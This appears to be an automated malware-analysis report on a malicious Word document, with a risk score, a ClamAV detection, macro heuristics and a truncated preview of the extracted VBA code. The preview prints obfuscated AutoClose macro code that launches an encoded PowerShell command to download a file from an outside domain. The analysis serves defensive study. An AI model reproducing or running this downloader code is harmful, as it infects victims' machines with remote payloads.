MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The presence of an AutoClose macro and the ClamAV detection signature 'Doc.Malware.Sagent-6697295-0' strongly indicate malicious intent. The macro is designed to execute automatically, likely to download and run a secondary payload, although the specific actions are obfuscated within the VBA code. The document body is heavily corrupted, providing no contextual clues.
Heuristics 5
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ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 63116 bytes |
SHA-256: 3fccf8004624c34f9d48912adf3e3e8044dd675a38941a1249962b55d119e0bc |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const QuWeghIjAZIJaijOayrIrvobaJiPOMUseJAlyWUM = 0 Sub AutoClose() On Error Resume Next Dim MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(4) If 13 = 13 + (8 * 0) Then MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(0) = CLng(1842) End If MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(1) = Sqr(8) MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(2) = Month(18421842) MywyaUzyLoDApatxXiDEdUwXyQYkOhudEZaKen(3) = Fix(1842.8) Dim soqiSumUfOnaZiJlnesEFAieNYB(4) Dim kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(4) If 12 = 12 + (7 * 0) Then kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(0) = CLng(7770) End If kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(1) = Sqr(7) kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(2) = Month(77707770) kOmAsyGaKUGiROXaAsuxtYCuqyyzAfU(3) = Fix(7770.7) Dim xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(4) If 10 = 10 + (7 * 0) Then xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(0) = CLng(1437) End If xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(1) = Sqr(7) xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(2) = Month(14371437) xidoxAaZeLiGOzyJahtuPIrynuMuRaMIr(3) = Fix(1437.7) If 11 = 11 + (1 * 0) Then Dim xudOPEDyGurUxYgdYTNuiEczElukiMon(4) If 10 = 10 + (8 * 0) Then xudOPEDyGurUxYgdYTNuiEczElukiMon(0) = CLng(4191) End If xudOPEDyGurUxYgdYTNuiEczElukiMon(1) = Sqr(8) xudOPEDyGurUxYgdYTNuiEczElukiMon(2) = Month(41914191) xudOPEDyGurUxYgdYTNuiEczElukiMon(3) = Fix(4191.8) soqiSumUfOnaZiJlnesEFAieNYB(0) = CLng(9382) Dim GiBISuWYLjOGalOUKUrXohAeWif(4) If 11 = 11 + (6 * 0) Then GiBISuWYLjOGalOUKUrXohAeWif(0) = CLng(6483) End If GiBISuWYLjOGalOUKUrXohAeWif(1) = Sqr(6) GiBISuWYLjOGalOUKUrXohAeWif(2) = Month(64836483) GiBISuWYLjOGalOUKUrXohAeWif(3) = Fix(6483.6) Dim roPufYQYBAmOhuQEbeBYzaHmeHEv(4) If 12 = 12 + (5 * 0) Then roPufYQYBAmOhuQEbeBYzaHmeHEv(0) = CLng(7444) End If roPufYQYBAmOhuQEbeBYzaHmeHEv(1) = Sqr(5) roPufYQYBAmOhuQEbeBYzaHmeHEv(2) = Month(74447444) roPufYQYBAmOhuQEbeBYzaHmeHEv(3) = Fix(7444.5) End If Dim AberDyHsOHuNefHyLAgIXElt(4) If 12 = 12 + (8 * 0) Then AberDyHsOHuNefHyLAgIXElt(0) = CLng(3836) End If AberDyHsOHuNefHyLAgIXElt(1) = Sqr(8) AberDyHsOHuNefHyLAgIXElt(2) = Month(38363836) AberDyHsOHuNefHyLAgIXElt(3) = Fix(3836.8) Dim hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(4) If 11 = 11 + (3 * 0) Then hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(0) = CLng(6066) End If hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(1) = Sqr(3) hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(2) = Month(60666066) hehORiiEBAnOMowaoWIRUJisUlEHOHAwYL(3) = Fix(6066.3) soqiSumUfOnaZiJlnesEFAieNYB(1) = Sqr(1) soqiSumUfOnaZiJlnesEFAieNYB(2) = Month(93829382) Dim BIgEqOxoQiloHaiqYSYiyxUPUqAz(4) If 11 = 11 + (6 * 0) Then BIgEqOxoQiloHaiqYSYiyxUPUqAz(0) = CLng(4536) End If BIgEqOxoQiloHaiqYSYiyxUPUqAz(1) = Sqr(6) BIgEqOxoQiloHaiqYSYiyxUPUqAz(2) = Month(45364536) BIgEqOxoQiloHaiqYSYiyxUPUqAz(3) = Fix(4536.6) soqiSumUfOnaZiJlnesEFAieNYB(3) = Fix(9382.1) qUFoCIDYCYWWeLaIDUpEtedowi = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^v^A^H^c^A^a^Q^B^l^A^G^8^A^c^Q^B^r^A^H^g^A^a^w^B^h^A^G^w^A^c^w^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^0^" Dim rQocYNaPYTvAcUtaaEruPTiNowosuTUxUdafijP(4) If 10 = 10 + (6 * 0) Then rQocYNaPYTvAcUtaaEruPTiNowosuTUxUdafijP(0) = CLng(2808) End If rQocYNaPYTvAcUtaaEruPTiNowosuTUxUd ... (truncated) |
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